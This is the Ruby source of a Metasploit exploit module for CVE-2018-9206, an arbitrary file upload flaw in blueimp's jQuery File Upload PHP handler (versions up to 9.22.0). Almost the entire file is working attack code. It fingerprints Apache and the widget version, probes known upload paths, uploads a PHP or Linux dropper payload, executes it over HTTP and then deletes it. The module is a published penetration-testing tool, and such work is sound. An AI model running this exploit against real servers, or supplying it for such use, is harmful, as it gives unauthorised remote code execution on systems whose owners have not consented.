##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info = {})
super(update_info(info,
'Name' => "blueimp's jQuery (Arbitrary) File Upload",
'Description' => %q{
This module exploits an arbitrary file upload in the sample PHP upload
handler for blueimp's jQuery File Upload widget in versions <= 9.22.0.
Due to a default configuration in Apache 2.3.9+, the widget's .htaccess
file may be disabled, enabling exploitation of this vulnerability.
This vulnerability has been exploited in the wild since at least 2015
and was publicly disclosed to the vendor in 2018. It has been present
since the .htaccess change in Apache 2.3.9.
This module provides a generic exploit against the jQuery widget.
},
'Author' => [
'Claudio Viviani', # WordPress Work the Flow (Arbitrary) File Upload
'Larry W. Cashdollar', # (Re)discovery, vendor disclosure, and PoC
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-9206'],
['URL', 'http://www.vapidlabs.com/advisory.php?v=204'],
['URL', 'https://github.com/blueimp/jQuery-File-Upload/pull/3514'],
['URL', 'https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9206'],
['URL', 'https://www.homelab.it/index.php/2015/04/04/wordpress-work-the-flow-file-upload-vulnerability/'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5130'],
['URL', 'https://httpd.apache.org/docs/current/mod/core.html#allowoverride']
],
'DisclosureDate' => 'Oct 9 2018', # Larry's disclosure to the vendor
'License' => MSF_LICENSE,
'Platform' => ['php', 'linux'],
'Arch' => [ARCH_PHP, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
['PHP Dropper', 'Platform' => 'php', 'Arch' => ARCH_PHP],
['Linux Dropper', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64]]
],
'DefaultTarget' => 0
))
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/jQuery-File-Upload'])
])
end
def version_paths
%w[
/package.json
/bower.json
].map { |u| normalize_uri(target_uri.path, u) }
end
# List from PoC sorted by frequency
def upload_paths
%w[
/server/php/index.php
/server/php/upload.class.php
/server/php/UploadHandler.php
/example/upload.php
/php/index.php
].map { |u| normalize_uri(target_uri.path, u) }
end
def check
a = nil
version_paths.each do |u|
vprint_status("Checking #{u}")
res = send_request_cgi(
'method' => 'GET',
'uri' => u
)
next unless res
unless a
res.headers['Server'] =~ /Apache\/([\d.]+)/ &&
$1 && (a = Gem::Version.new($1))
if a && a >= Gem::Version.new('2.3.9')
vprint_good("Found Apache #{a} (AllowOverride None may be set)")
elsif a
vprint_warning("Found Apache #{a} (AllowOverride All may be set)")
end
end
next unless res.code == 200 && (j = res.get_json_document) &&
j['version'] && (v = Gem::Version.new(j['version']))
if v <= Gem::Version.new('9.22.0')
vprint_good("Found unpatched jQuery File Upload #{v}")
return CheckCode::Appears
else
vprint_error("Found patched jQuery File Upload #{v}")
return CheckCode::Safe
end
end
CheckCode::Unknown
end
def find_upload
upload_paths.each do |u|
vprint_status("Checking #{u}")
res = send_request_cgi(
'method' => 'GET',
'uri' => u
)
if res && res.code == 200
vprint_good("Found #{u}")
return u
end
end
nil
end
def exploit
unless check == CheckCode::Appears && (u = find_upload)
fail_with(Failure::NotFound, 'Could not find target')
end
f = "#{rand_text_alphanumeric(8..42)}.php"
p = normalize_uri(File.dirname(u), 'files', f)
print_status('Uploading payload')
res = upload_payload(u, f)
unless res && res.code == 200 && res.body.include?(f)
fail_with(Failure::NotVulnerable, 'Could not upload payload')
end
print_good("Payload uploaded: #{full_uri(p)}")
print_status('Executing payload')
exec_payload(p)
print_status('Deleting payload')
delete_payload(u, f)
end
def upload_payload(u, f)
p = get_write_exec_payload(unlink_self: true)
m = Rex::MIME::Message.new
m.add_part(p, nil, nil, %(form-data; name="files[]"; filename="#{f}"))
send_request_cgi(
'method' => 'POST',
'uri' => u,
'ctype' => "multipart/form-data; boundary=#{m.bound}",
'data' => m.to_s
)
end
def exec_payload(p)
send_request_cgi({
'method' => 'GET',
'uri' => p
}, 1)
end
def delete_payload(u, f)
send_request_cgi(
'method' => 'DELETE',
'uri' => u,
'vars_get' => {'file' => f}
)
end
end
